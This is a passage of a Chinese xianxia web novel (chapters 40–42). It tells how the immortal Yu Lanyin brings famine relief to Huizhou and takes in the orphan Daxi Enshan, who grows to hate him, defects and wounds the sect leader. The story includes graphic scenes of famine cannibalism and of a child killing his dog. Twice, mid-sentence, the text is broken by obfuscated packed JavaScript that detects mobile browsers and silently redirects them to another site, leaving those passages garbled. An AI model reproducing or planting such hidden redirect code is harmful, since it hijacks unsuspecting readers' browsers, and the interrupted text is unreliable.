众人脸色齐齐一变,原来在刚才那瞬息之中,玉阑音居然是直接将敬琼的灵气全抽空了! 敬琼跪在地上,震惊得感觉着自己体内一片空荡的灵脉,由于恐惧他浑身都在发抖,“我的修为……我的灵气……” 玉阑音原本正抬手打着身上莫须有的灰尘,听到敬琼开口说话才回了神。 “啊,抱歉,”玉阑音同样是有些吃惊地看了看自己的右手,“我以为我只收了一部分,没想到居然已经是全部了。抱歉,我现在就还给你。” 话音刚落,玉阑音又白着一张脸,再打了一个响指,将灵气悉数还了回去。 “十分抱歉,的确是我大意了。”玉阑音歉疚一笑。 众人还没有从他“我以为我只收了一点点结果这居然是你的全部”这种极为夸张的讽刺中回过神,如今再度又被他精准的灵气操纵能力惊掉了下巴。 敬琼胸膛一个震颤。 他愣愣地又查看过自己的灵脉,灵脉之中的灵气甚至是比方才更加盈满,显然是面前这人又疏忽大意地多“还了”他一些。 自己一辈子的修为,在对面这人眼中,居然只是轻飘飘地拿多拿少都看不在眼里的小物件。 一旁的观一终于松了一口气,随后才转眼,重新朝敬琼严厉道:“敬琼,你可知错?” 敬琼脸上一阵青白变幻,“回掌门,敬琼知错,自愿领罚。” 话音将落,未等观一再语,台下众人忽而面朝玉阑音,齐齐撩袍摆跪地,“参见上仙!” 玉阑音已经回到了观一身边,他的脸色更加苍白了几分,被这蓦然一阵高呼声惊得一愣。 他摆了摆手,谦逊地颔首,“不敢当,不敢当。” 那年的秦鹤生便是在台下那一众十方宗弟子中。 这是他见到玉阑音的第一面。 那时的秦鹤生甚至没过百岁,正是意气风发的年纪。 他自幼是个武痴,今见到玉阑音当即便觉得惊为天人,敬佩得五体投地。 秦鹤生跪在地上,愣愣地看着台上的玉阑音,挪都挪不开眼。 今后的所有日子里,秦鹤生便从黏着观一切磋斗术,变成了黏着玉阑音讨教求学。 不过尽管说是“黏着”,其实也不过是给自己脸上贴金罢。 因为哪怕是秦鹤生这么个眼里只有法术的棒槌,也实在是不怎么好意思和玉阑音贴得太多太近。 毕竟这个云州上仙,实在是太像神仙了。 尽管玉阑音总是温温和和笑着,但他似乎对谁都有很强的距离感,平日也鲜少见他同谁亲近。 秦鹤生对他很是敬畏,常常是有问题要攒好几日,这才敢乖乖巧巧地来敲玉阑音的屋门。 在玉阑音做了这十方宗无上长老后,他也深知自己大概是不受十方宗欢迎的,于是大多数时日便是深居简出,随后更是自愿搬去了偏远的虚空山。 但由于玉阑音声名远扬,那些年里,前来求学问道之人依旧是众多,虚空山之上终日人满为患。 玉阑音向来是个好脾气之人,教导之时更是让人心生亲近。 满堂花醉三千客,一剑霜寒十四州。[1] 温卓看着玉阑音耐心同门客探讨之时温和的侧脸,再看那“流离所”盛大的宴席,秋日飘香的木樨,心中忽然念出这古句。 40.大雨 虚空山之上门庭若市的日子持续了很久。 久到观一圆寂,秦鹤生做了掌门;久到十方宗莫名其妙继承了玉阑音穷奢极欲的作风,修尽金丝楠木大殿玉石长阶;久到前来虚空山求道之人逐渐花白了头发,直到再也不来。 总之真的是很久、很漫长的一段寻常日子。 玉阑音不热衷收徒,于是这些年里的入门测试几乎不参与。 唯有一年,那一年玉阑音也不知怎地忽然兴致大发,迈着四方步来这九球坛之上逛了一逛。 结果这倒好,居然就叫一个穿衣极为不齐整的小叫花子,一口一个“师尊”地赖上了。 玉阑音求助地看向秦鹤生,但秦鹤生只是笑。 于是一来二去,玉阑音便真的莫名其妙地多了个小尾巴徒弟。 不过好在他这个徒弟除了过于不修边幅整天像个鸡毛掸子以外,倒还算合他脾性。 天赋也不错,也不需用过分费心点拨,还算省心。 徒弟百岁那年,玉阑音赐了他法号善玄。 但是善玄这皮孩子,并没有因为百岁了,得了法号就有丝毫长进,依旧是整日偷着下山游山玩水,时不时掏两个鸟窝,更多时候是寻他那几个玩伴青木、秉文玩去,惹得年纪最小的青木总来玉阑音这里告状。 “……无上长老!无上长老!” 玉阑音听见这动静便觉得头疼。 “无上长老!”青木气喘吁吁地跑进他的流离所里,两只眼睛气得要冒了火,“善玄取笑我的新袍子,还把它撕坏了!还拿去挂到了门口的白杨树上!气煞我!” 玉阑音这么多年里,头发越束越松,到最后索性散了发,衣裳也越穿越精简,再不见初来十方宗之时骄矜贵公子的模样,愈发冷冽却也愈发柔和起来。 他此时正叹了口气,揉了揉听得发胀的额角,“善玄啊……他取笑你什么了?” “他说我穿得像只花孔雀!”青木越说越生气,两眼瞪得滴溜圆。 玉阑音看了一眼青木头上插着的两支不可多言的红绿羽毛簪子,张了张嘴,最终还是又闭上了。 “……我先去帮你把袍子取下来吧。” 青木年纪比善玄小不少,总是得善玄的欺负。 告状告得多了,玉阑音不堪其扰,便终于同善玄好好坐下聊了此事。 不过那一日的善玄却一改平日模样,“师尊,您有所不知。 “我同青木从小便相识,青木家……条件比较一般,虽然这些年也无人嚼他舌根子,但他总还是心怀芥蒂。 “师尊您也能瞧得出来,他这些年越发爱打扮自己。我怕他钻了牛角尖,便想玩闹着告诉他,不必再在意这些。” 善玄说得前言不搭后语,但是玉阑音听懂了。 人惯常会在有能力后费尽心思去弥补自己曾经的缺失。 青木是个自卑却又心高气傲的人,他如今的金银珠宝、花哨的鸟羽,其实只是戴在了小时候灰扑扑的自己的头上。 “善玄,这件事,不是你告诉了他就能如此的。” 玉阑音摘下了善玄乱糟糟头发里的木头枝,“我明白你是怕他这念想成了执念,你做得对,也可以继续去做。但是同青木你?把握好尺度,莫要过犹不及、适得其反才是。你可懂得了?” 善玄似懂非懂地点了点头。 “去玩吧,”玉阑音手一拈,把这木枝化成了烟气,笑着拍了拍善玄的脑袋,“不准再去掏我树上的鸟蛋了,那是一窝夜莺,我喜欢得紧,若是再碎一个我拿你是问。” 善玄闻言低了低头,心虚地摸了摸鼻子。 玉阑音见做贼似的善玄,脸色当即一变。 “好你个小子……” 善玄忙送不迭想抬屁股跑路。 还没等他屁股离席,身后的玉阑音脸奇臭无比地手一抬,直接把善玄连人带凳轰出了三四十米,随后“砰”一声极响地掩上了门。 “滚!” 善玄看了一眼被气浪震得扑簌簌掉叶子的老树,麻溜地从地上爬起来,带着椅子滚远了。 玉阑音是个非常罕见的极好脾气的人,这是善玄记忆里唯一一次见他动怒。 他老老实实长了教训,今后再没掏过鸟蛋。只是很可惜,那一对夜莺也再没来院内的树上筑过巢了。 这种顺妥的太平日子持续了好久。 直到那一年云州大旱。 那年烈日烧干了大地最后一滴眼泪,云州千万亩良田颗粒无收。 各地平民百姓四处流亡,饿殍遍野。 仙盟不忍凡间之景,派了不少修士前往各地平复赈灾。 徽州之地山势凶险,运送赈灾粮的车马在途便被流盗抢劫一空,连马带车通通不见,遭害最为严重。 徽州百姓食蓬草,剥树皮,吃山中石,以骨为薪易子而食,生灵涂炭。 玉阑音对此同样心有不忍,便请愿亲身前往了徽州。 元宿央那一年还不到百岁,终日不学无术,正巧也被他爹拢虚发配到了徽州。 他刚一落地,徽州街上饿极的流浪汉见到了这么壮实的一个元宿央,灰蒙的眼睛都发起了光,五六个一群十来个一帮地往元宿央身上扑。 他一个猝不及防,真叫一个灰扑扑的骷髅架子撕碎了衣袖。 “喂!本大爷是来给你们送粮食的!你们一个个是要造什么反!” 元宿央一把按住了摇摇欲坠的袖摆,气不打一出来。若不是他许久被教导不能对凡人出手,恐怕早就拔剑砍上去了。 他使劲回抽了几下,但那流浪汉手抓得太紧,元宿央气急败坏,“你先松开我啊!” 忽然,一阵温和又强势的灵气卷来,将这一众饥不择食的饥民不轻不重地震开了。 身后,是一个俊美异常,长发无风自动的消瘦男子,他身上带着一层灵气的银光,宛如天神下凡。 元宿央愣愣地回头看着他,只心道:妈妈,真的有神仙。 远道而来的各位修士先是严厉惩治了当地泛滥的偷窃与暴力事件,随后取了各宗门粮仓屯的水稻粟米,在徽州设立了施粥处。 为了照顾妇女儿童,玉阑音提议男女隔日领的做法,大大安抚了民心。 不过由于徽州之地偏远之处众多,施粥施衣难免难达。 一日,玉阑音与元宿央前往山后东乡村送衣之时,忽然在竹林中遇到了一个身上血淋淋的濒死的孩子。 他倚靠着一棵竹子昏迷不醒,身上皮肉都不全,净是些钝刀的割伤,显然是被取了肉。 玉阑音先一步发现了这个红色的人儿,两步作一步地赶了过去,查看了一番发现这孩子还未断了呼吸,心下猛地一松,这才大手一挥施了个极为奢侈的大愈合术,把这孩子里里外外治了个遍。 元宿央见玉阑音瘦弱,细胳膊细腿,便自告奋勇地抱起了这个昏迷的孩子,这才继续向前赶路。 可真的到了东乡村,还未踏入村庄,两人脸色已经齐齐一变。 整个村子没有一点声音,甚至没有一丝炊烟,一点鸟雀之声,安静到只能听见自己的耳鸣。 而且还未靠近,便已经能闻到村镇臭气熏天,遍地饿殍枕藉,甚至死尸身上都再无一块好肉,大多被剔骨搜刮得干干净净。 玉阑音收回了目光,看了一眼元宿央怀中还未醒的孩子,“还是来晚了。” 他的声音并不低沉,也没有什么很激荡的情绪,但莫名叫元宿央心一酸。 他吸了吸鼻子,状似轻松地颠了下手里的孩子,“也不晚,这不救了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949314|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个么?” 玉阑音似乎是笑了下,也可能是没笑,良久才轻声道:“嗯,也是。” 由于天气太旱,直到有一日徽州罕见地起了风,玉阑音的求雨咒才终于奏了效。 他和元宿央沉默地看着在雨里跪地大拜,疯疯癫癫的百姓,二人并未觉得解脱,只觉得这场大雨中仿佛是掺了秤砣,下在心里沉得心慌。 直到很久之后,元宿央才不知所以地开了口,“太嵇,你知道我为什么一直不想做掌门吗?” 玉阑音眼睛久久停在一个在雨里跳舞的孩子身上,“不知。” “我天资其差无比,”元宿央道,“也不怕你笑话,当时我爹看到我便说,这辈子没见过天赋如此差的孩子,和个普通人无甚区别。” 他说到这里笑了一下,“不过我爹对我很好,也没说因此亏待我或者怎么样。他只是招募了数不其数的炼丹师。我大概从两三岁便开始吃各种各样的仙丹,白的红的绿的,没有我没吃过的。” 玉阑音听到这儿才认真地看了元宿央一眼,第一次细细看过他的灵基和灵脉,“嗯,不算很差,只是灵基薄一些,灵脉细一些。不必听拢虚胡说。” 元宿央听后先是惊讶地一挑眉,随后才忍不住地笑出了声,一把搭在了玉阑音的肩上,又靠着他无声地笑了很久,“谢谢你,太嵇。我很受用。” “对了,太嵇,”元宿央又道,“你之前说过你有个徒弟?” 玉阑音点点头,“确有一个。” 元宿央忽然极为感叹似的笑起来,“能做你的徒弟,我都想不到那是有多幸福啊。” 玉阑音一下子就想到了被他一拳打飞的善玄,莫名觉得有点心虚:“……是么。” “那可不。”元宿央又是一笑,“我反正觉得我挺没用的,吃了那么多仙丹现在修为也就是个稍好的普通人。之前有段日子我可忌讳这件事了,天天花楼买醉顽劣得很。” 玉阑音奇怪地看了他一眼。 “……呃,好吧好吧,现在依旧如此。你别这么看我。”元宿央嘴一撇,“我平日不学无术,爹总说我只是不认真。可是我只是害怕我认真了,就会被人发现我其实只是真的没本事。我只有点小聪明,我知道的。” 玉阑音看了元宿央很久。 元宿央觉得一开始他大概是不打算说话了的,但是不知道为什么,他最终还是开口了:“宿央,人躲得过期待,但是躲不过命运。我在你身上看到了命运的前言,你终有一天会的。” “终有一天吗?”元宿央笑一下,“那我可得好好等着。” 玉阑音点点头,不置可否。 “太嵇,这徽州之事也结束了,你何时回十方宗?”元宿央问道。 玉阑音稍加思索,“明日吧。” 元宿央看了他一会儿,“你确定你要带着那个叫……达奚恩山的小孩儿?那孩子看着可不像是感激你,那简直是像恨你,巴不得把你活剥了。” “小孩子而已,”玉阑音不甚在意摆摆手,“受过那么重的伤,现在又家破人亡,估计心里是要埋怨我们去得太晚了。” 元宿央听了不爽地嘟哝:“徽州地中心那么乱,你忙得几天几夜没合过眼。东乡村跨山过海的那么偏远,你又不是存心舍了他们不管,埋怨你算怎么回事儿……” 玉阑音一届修士,自然是听得到元宿央孩子气的话,他不由地一哂:“好了,等我带回去,等他气消了,我同他讲讲道理就好了。放宽心。” 元宿央总还是觉得有点焦躁,不过玉阑音话说到这里了,他也不便再劝。 他转头看向瓢泼的雨里,那个穿着新裙袍的小孩子仍旧在一边笑一边跳。 她脚尖一点,一点,一点。 水花阵阵,涟漪翩翩。 41.达奚 玉阑音带着达奚恩山回到了虚空山上,收拾了一件干净的客房给他住,吃的喝的用的样样不落。 只可惜达奚恩山不太领情。 达奚恩山长得很清秀,只是太瘦,瘦得两只眼睛总铜铃似的瞪着,脸颊也凹陷得看得到颧骨。 他从不同玉阑音和善玄说话,总恶狠狠地一个人躲着,活像虚空山上的一道鬼影。 善玄看来看去好几天,对这个达奚恩山好奇得很,“师尊,这是您外出游历新收来的徒弟吗?小师弟他看着……好像不太好相处。” 玉阑音摇了摇头,“我没打算要收他为徒。” “哦,这样啊,”善玄道,“那是今后要送去哪个长老门下?或者只是来疗伤的?” “我于他有愧,”玉阑音看着殿门口处的那躲躲闪闪的一道影子,道,“虚空山上也不多他这一张吃饭的嘴,先养着吧。” 话音刚落,门口那道影子左右晃了晃,不见了。 玉阑音遂收回了目光。 达奚恩山确实是很恨玉阑音。 他和她娘住在的东乡村,穷乡僻壤靠天吃饭,今年大旱闹了饥荒,受害极其严重。 在玉阑音和元宿央去到村子之前,他们已经吃光了地里能见到的所有野菜。树皮吃着喇嗓子,达奚恩山吃了之后接连咳了好几天血痰。 时间长了,村子里逐渐饿死了人,有的饿死在家里,有的饿死在了街上。 街上若是死了人,周边的人都会发出一种极为欢愉的欢呼声,随后一拥蜂而上,你一条胳膊我一条腿的全都分干净。 达奚恩山的娘叫晚秀,前几日夜里出门,捡回来了一整个死人,高兴得活像是过了年。 当晚,他们家罕见地开了荤,炖了一锅肉汤,烟囱里传来肉香,引得周围一众流浪汉围着他们屋子闻来闻去。 那一锅肉汤上还漂着肥美的肉沫。 那晚上,晚秀眼睛发着光,一个劲往他碗里盛,“快吃啊,小山,好吃。” 达奚恩山看着汤碗里的半截瘦瘦的肋骨,再也忍不住跑了出去,吐了个昏天黑地。 玉阑音和元宿央到东乡村的前一天,那天早上,达奚恩山已经三四日滴水未进,饿得头晕眼花,干呕了四五回。 他背着他娘偷偷养着一只小狗,小狗也骨瘦嶙峋,但是看起来还算是有精神,这时候正窝在他怀里摇尾巴。 达奚恩山抱着他的小狗,躺在地上,笑着同它低声呢喃:“我娘说,明天把我送给隔壁李爷,我快死啦,阿白。” 阿白甩甩尾巴,哼唧两声,把下巴搭在了达奚恩山的手上。 “可我只担心你。我死了之后,你可一定要好好照顾自己,别总待在这里,会被我娘发现的。”达奚恩山摸摸它的头,狠狠心把它往外推了推,“快走吧,趁现在天早,逃出村吧。明天就来不及了。” 阿白被推得一个趔趄,瘦弱的它在地上挣扎了两下才起了身,又摇着尾巴凑回到达奚恩山身边,舔舔他的手。 达奚恩山皱着眉,狠狠心踢了阿白一脚,“快走啊。” 阿白被踢了个老远,歪歪扭扭从地上爬起来,又踉踉跄跄摇着尾巴回到达奚恩山身边。 达奚恩山再也伸不出手把阿白推开了。 他揉了揉眼睛,好半晌,终于蹲下身抱起阿白,无声地痛哭起来。 那天晚上,达奚恩山把阿白杀了。 用一块带着尖的石头,砸碎了阿白小小的脑袋。 他总共拿这石头敲了两下。 第一下。 那时达奚恩山的视线被泪水糊得一片模糊,下手歪了,刺穿了阿白的肩胛骨。 阿白哀嚎一声,前爪已经不再能动,但是他没躲,只躺在血泊里朝达奚恩山摇着尾巴。 “对不起,对不起……”达奚恩山慌了神,擦去了自己碍事的眼泪,“是我下手不准,对不起,阿白,疼不疼啊阿白……” 第二下。 达奚恩山咬着嘴唇,不敢闭眼睛,他这次用了很大的力气,精准地把石头刺进了阿白的头骨。 万幸,这次阿白在瞬间便没了声息。 达奚恩山说不出是松了口气,还是只是由于悲痛脱了力。 他腿一软,直接跪在了这血泊之中。 他跪了好久好久。 最终,他伸出手,颤抖着指尖蘸了蘸阿白的血。 他哭着吮了吮带血的指头。 真好。 阿白,明天,你陪着我,我们一起走吧。 第二天,他果然是被晚秀送到了邻居李爷家里。 李爷家是个万元户,之前家里一个夫人三个小妾,还有不少佣人。 只是如今这些人也不知道怎么一个都没了,家里只还剩一个瘦瘦小小的八九岁的女孩子。 晚秀也三四天没吃过东西了,饿得已经皮包骨头。她捏了捏这小姑娘的胳膊,问李爷:“多少斤?” “昨天称了,不太到四十。”李爷道,“你家呢?” “我家将近五十,”晚秀看起来不太开心,“亏了。” 李爷乐呵呵一笑,“那有什么,你一个女人家家,吃得也少嘛,一个数里赶,是不是?” 晚秀嘟哝着一些辨不清的方言,许久才把达奚恩山推了推,“就这样吧,换换。” 李爷笑道一声:“好嘞!” 达奚恩山就这么到了李爷家。 李爷是个看起来仍旧有些富态模样的中年人,他似乎没挨过什么饿,当天夜里只是割了达奚大腿上两三块肉,便乐呵呵丢下他在库房里走了。 他大概是觉得达奚恩山受了伤大概也没再有什么力气,库房的门都没关结实。 达奚恩山的确是因为疼痛晕过去了很久,但是很快他就醒来了。他的胃里一阵火热的灼烧,烧得他浑身发抖。 那时候天正黑,在求生的本能驱使之下,他拖着血淋淋的腿一步三跌地往外逃去。 走了好久好久,达奚恩山似乎是上了山,进到了一片竹林。 他终于耗光了最后一丝力气,倚在一棵竹子旁,眼前已然开始走马灯。 在一片朦胧中,他见到了他早逝的爹,看到了他娘晚秀,最后是阿白。 阿白…… 达奚恩山摸了摸肚子,肚子里依旧犯着恶心。 是阿白还在吗? 他笑起来,意识逐渐恍惚。 恍惚之外,他只感觉到了莫大的满足的幸福。 可惜天不遂人愿。 他居然活了。 达奚恩山看着他的救命恩人,看着他慈眉善目问他“好些了吗?”的时候,他简直是要恨得面目扭曲丑陋。 他只觉得面前这人自我感动的伪善,虚伪至极。 他来的早一天、晚一天都好,可为什么偏偏要今天? 那被放弃扔到隔壁的他算什么? 阿白又算什么? 达奚恩山如此想着只觉得肚子里有火焰在烧,他不受控地连连呕吐起来。 阿白……阿白。 直到吐出了绿色的胆汁,苦得嗓子发疼了,他才停止了这场自虐。 他想,依照常理,玉阑音这种人,大概是要来同他说些宽慰人的大道理了,到时候他定然是一句话不会同玉阑音说。 不过玉阑音并没有这么做。 许多天下来,他和达奚恩山说过的话甚至是屈指可数。 大多也不过是“吃饭了”“睡觉吧”这些话,叫达奚恩山憋了很多天的脾气都有些无处宣泄,憋屈得很。 直到那一日,玉阑音降了大雨,达奚恩山在屋内看着他从雨中回来。 出乎他意料的,玉阑音的脸上没有他设想的那种自傲的满足,反而看起来有些悲伤。 达奚恩山看着情绪不高的玉阑音极慢地走近他,弯下腰,极轻极轻对他说了一句:“对不起,是我来得太晚了。” 玉阑音话音落下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972984|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻,达奚恩山轰然感觉到的是无穷尽的虚无。 因为他发现,就在那个瞬间,他好像已经轻而易举地原谅了眼前这个人。 达奚恩山不喜欢这种感觉。 他无萍无依重活一世,心里总得靠着一点什么东西才能活下去。 爱也好,恨也好,但是原谅了,就什么都没有了。 回到虚空山上后,玉阑音又回到了每日同门客讲学的日子,山上其他事情他依旧交给善玄去处理,平日鲜少过问。 一切和之前无甚两样,只是这些天里,他忽然发现,达奚恩山这个小孩子出现的频率越来越高了。 有的时候是在他流离所门前徘徊,有的时候是缩在一众求学门客之后亦步亦趋。 总之是经常能见到他。 玉阑音同达奚恩山平心静气谈心甚少,见了这般只当他是有修习的心思,便故意在讲学之时讲得更细致了一些,方便达奚恩山能听得懂。 某种程度上来说,玉阑音也并不完全是做了白工。 达奚恩山的确是耳濡目染地听进去了一些,他不愚笨,多少也是学到了些真本事。 达奚恩山经常觉得,其实觉得自己大概已经不恨玉阑音了,只是依旧有点讨厌他。 他讨厌玉阑音这人笑面虎的虚头巴脑,平日又总是像个大爷似的难伺候。 他也讨厌玉阑音假清高作壁上观,一双眼睛从不在任何人身上停留。 讨厌得很。 但是又在意得很。 为此,他每日接近于监视地当着玉阑音的跟屁虫,希望借此排解心中的焦躁。 对于达奚恩山这种没由来的对抗情绪,玉阑音自然是察觉得到。 但是玉阑音不甚在意,只当这孩子这么多年气还未消,平日里多给些好吃的好玩的哄着,其他便由着他去了。 直到那天,玉阑音将达奚恩山叫来,同他说:“你的天资不错,这些年里也或多或少学了些东西,我同鹤生说过了,以后你就随着他修行,可好?” 可这话一出,达奚恩山似乎是被戳到了什么痛处,他忽然抬起了头,眼中忽然暴起一阵愤怒的不可置信,“玉阑音,你也要把我送走?” 玉阑音一愣:“送走?” 达奚恩山浑身发起抖来,一时间,他一心只能回忆起晚秀带他去李爷家的那个清晨。 恍惚地,他甚至见玉阑音身上的黛色长袍已经是晚秀的粗布衣,玉阑音消瘦的脸颊已经和晚秀的脸逐渐重合。 达奚恩山的脸猛地煞白起来。 玉阑音察觉到有些不对,他一皱眉,解释道:“并不是送走,我探过你的灵脉,同鹤生相近,你随鹤生……” “玉阑音,”达奚恩山恶狠狠念了他的名字,打算了玉阑音的话,“捉弄我,作践我,抛弃我,好玩吗?” 玉阑音怔忪良久,“我从来没有这么想过,恩山,只是鹤生比我更适合你,你随时可以回来虚空山,只要你想……” “闭嘴吧,玉阑音。”达奚恩山掌心攥出了血,“我恨你,玉阑音。我开始恨你了,我一辈子、生生世世会记得你、记恨你。” 玉阑音一怔忪。 玉阑音这人,虽然乍一看能说会道八面玲珑,但事实上,他同别人交往的经验少得可怜。 他没有被爱过,于是总想付出更多的爱给别人。在一段关系中,他空荡的一颗心能想到的、能做到的所有,就只有努力对别人好这一件事。 可很多时候,那只是一种无比丑陋的、笨拙的、自大的、自我感动的一厢情愿。 玉阑音比谁都清楚自己的这个坏毛病,于是他已经竭尽所能的去避免同别人产生联系。 他也因此不太在乎别人对他的态度,因为毕竟连他自己都很讨厌自己。 别人对他差,他咎由自取;别人对他好,他受之有愧。 玉阑音看着对他说“恨”的达奚恩山,想:你看,这次果然也被我搞砸了。 42.代价 书卷之外的温卓看至此,极轻极轻地吸了口气。 画卷中年轻的玉阑音此刻像是个犯了错的孩子,一言不发地沉默地站在那里。 温卓的目光颤抖着,停留在玉阑音身上许久,最终是难忍地别开了眼睛。 温卓很早就知道,玉阑音是个极度只做不说的人,甚至近乎到了病态的程度。 他比任何人都能看到眼里,比任何人都心疼这样的玉阑音。 可此刻达奚恩山之言,却是直直地戳碎了玉阑音这一身伪装的坚硬外壳。 玉阑音抿了抿唇,“抱歉,恩山,我不是赶你走。你今日只当我说话欠妥当,今后也不必走,好吗?” 达奚恩山对与玉阑音虚伪又轻飘飘的道歉嗤之以鼻,他极为轻蔑地一笑,再未多语大力摔门而走。 在后来的虚空山上,玉阑音再没见到过达奚恩山。 直到一天夜里,达奚恩山没有告知任何人,趁着夜色安静地自己搬离了虚空山。 他孤身一人真的叩响了秦鹤生的门,认认真真敬了拜师酒,从此拜入了秦鹤生门下。 第二天,善玄比玉阑音先一步发现了达奚恩山的不见。 他对于这孩子的凭空消失有些摸不着头脑,去问玉阑音,却发现玉阑音对此很沉默。 玉阑音只一瞥干净的里屋,没头没尾“嗯”了一声便再没了下文。 本以为这件事情大概就要这么告一段落了。 但又是一个夜里,秦鹤生门下一弟子招呼都没打忽然来了虚空山,急匆匆地叩响了流离所的铺首。 玉阑音夜里从不熟睡,五感极灵,几乎是在这名小弟子一踏上虚空山时便睁开了眼。 门外传来一阵阵铺首撞门的咚咚声,期间夹杂着一些慌忙的叫喊。 “无上长老!不好了!无上长老!达奚恩山发了疯,将掌门打伤了!” 玉阑音闻声脸色迅速一变,当即翻身下床,顺手抄了自己的外袍,脚跟一点便移形至门外,吓得那名小弟子一跳。 玉阑音一双手仍旧在不急不缓系着外袍的带子,面上未有一丝慌乱,只一双眸子寒若星察。 “鹤生受伤了?怎么回事?” 这名小弟子是第一次见到神龙见首不见尾的无上长老,当即就被玉阑音的美貌晃了神。 直到玉阑音一蹙眉,“嗯?” 在这目光下,小弟子后背猛地一凉,连忙回神拱了拱手,“见过无上长老。是达奚恩山将自己的法器炼成了厌族法器,发了狂,大概是要叛逃师门,掌门上前阻拦便受伤了!” 玉阑音许久没有听到达奚恩山的名字了,这名字一出,玉阑音只觉得自己额角都一跳。 他揉揉眉心,朝着小弟子作了个“安心”的手势,“先别慌,待我去看。” 小弟子忙点头,也不再多言,随后脚下移形换影,踏过一层气浪和扑簌旋转的碎花,转瞬到达了正明峰上。 刚落地,还未凑近,只远远看便能看到那汉白玉台之上,发丝衣角无风自动的达奚恩山。 他今日未着十方宗弟子服,换了一袭绛红色衣袍,袖边有恶鬼深色暗纹。衣袂翻飞,在夜风中猎猎作响,无端让人心觉诡异。 玉阑音面色一沉,在远处借着灵力唤了他一声,“达奚恩山。” 达奚恩山闻言身形一顿,再是施施然转过了头。 “你来了。”他看起来并不诧异玉阑音的到来,甚至是笑了一下,“玉阑音。” 玉阑音不言不语,面色不悲不喜,只同达奚恩山静默地对视。 随后良久,他才似乎是极轻地叹了口气。 玉阑音并未理会半阴不阳的达奚恩山,迅速收回了在达奚恩山身上的目光,随后快步上前检查了秦鹤生的身体。 好在秦鹤生只是伤到了腿,伤口本身是面目可憎了些,骨头都裸露了一大片,但幸好是没有伤到什么要害。 玉阑音终于松了肩膀,吐出一口浊气。 “玉阑音,”达奚恩山歪着头,抬了抬他嘀嗒着血的胳膊,“我也受伤了,你怎么不来看看我?” 玉阑音极轻地一怔,随后抬头,看向达奚恩山,未发一语。 “玉阑音,”达奚恩山等了一会儿,像是有些不耐烦了,“我说,我受伤了。你过来看看我。” 玉阑音深深看了一眼达奚恩山。 随后他偏过头,掌心一翻,翻动起一阵明亮的银光,先替秦鹤生疗了伤。 秦鹤生口鼻都是呕出的血液,不少干涸在衣襟领口,他面色苍白,有些吃力地拽了拽粘腻的领口。 他虚虚地伸手拦了一下玉阑音,“真人,别信他,别过去!他道心不稳走火入魔,如今这是已经入了厌族,他……” “嗯,我已知晓,”玉阑音摆了摆手,止了秦鹤生的话,“不必虑我,你就在此处休息,我自有数。” 随后,不等秦鹤生继续阻拦,玉阑音已经理了理衣袖,朝达奚恩山走去。 达奚恩山笑眯眯地看着玉阑音走近。 “你终于肯把目光从别人身上挪开了,”他看起来心情很好,语调极为轻扬,“我大闹一场,等你等了好久。” 玉阑音走向达奚恩山,最终站定在他面前不远不近的地方。 “恩山,”玉阑音又叫了他一声,“你可知罪?” 达奚恩山的笑意极为迅速一泯。 “叛逃仙门、串通厌族是乃宗门第一重罪,”玉阑音语音略微加重,“达奚恩山,你可知罪?” 达奚恩山歪了歪头,神色莫名地看着玉阑音。 “哦,”许久,他忽然满不在乎地一笑,极为欢愉似的露出两颗小虎牙,“那我不知罪,又如何呢?” 玉阑音神色一凛。 达奚恩山曾小心翼翼向他伸出过的信任的手,他没有抓住。他于心有愧。 他本不愿兵戈相向。 在来的路上他甚至想,若是达奚恩山有意认罪,他于情于理都是要网开一面,哪怕是会得罪整个十方宗。 闻言,玉阑音叹了口气,似乎想要说什么,但最终是什么都没有再说。 达奚恩山看着一言不发的玉阑音,僵硬地勾了勾唇角。 随后忽然间,他的神色猛然变冷,“玉阑音,我没有错。而且今日,我不光不认罪,我还要和你们仙门这些装模作样的狗东西斗到底!” 他看着玉阑音并不明朗的脸色,不由地有些痛快,“玉阑音,我从来没想过要修行。我从活过来的那一日,想的便是杀光这天下所有人,你凭什么觉得我会乖乖呆在你身边,每日受你那点无关痛痒的‘好’?” 这晚的夜似乎格外漫长。 玉阑音偏过头去,东方始终未有一丝亮色。 真冷啊。 玉阑音想。 “你看,你到现在都不愿意看看我,”达奚恩山看了一会儿心不在焉的玉阑音,声音很轻,“我到底要怎么做,你才愿意多分我一些目光呢?” “恩山,”玉阑音看向了达奚恩山,“尽管我才学疏浅,作云州上仙尸位素餐,但未万世开太平这话,也是我那日真真切切许诺过的。” “我有心保你,恩山,”玉阑音道,“但你至今的所作所为,只叫我有心而无力。” “保我?”达奚恩山像是听到了什么好笑的事情,惊讶地挑了挑眉,“玉阑音啊玉阑音,你太自大了,你也不看看我稀罕么?” “而且——”他粲然一笑,“我的好上仙大人,你既然这么天大的本事,怎么不保保自己啊?还至于落得现在这么个——” 达奚恩山话音未落,一旁还在养伤的秦鹤生当即红了眼睛。 他拖着仍旧虚弱的身体,猛地暴起,一股灼热的火灵气带着乱花碎石卷过正明封顶,当即把围栏的长明灯震得粉碎。 秦鹤生如同离弦的箭,速度快出了残影,卷着灵气狠狠扣住达奚恩山的肩胛骨,将他大力地按在汉白玉长阶之上,生生压出了一个不规整的人形坑。 达奚恩山其实早就看见了袭来的秦鹤生,可他压根没有还手,任由秦鹤生把他震了个七窍流血。 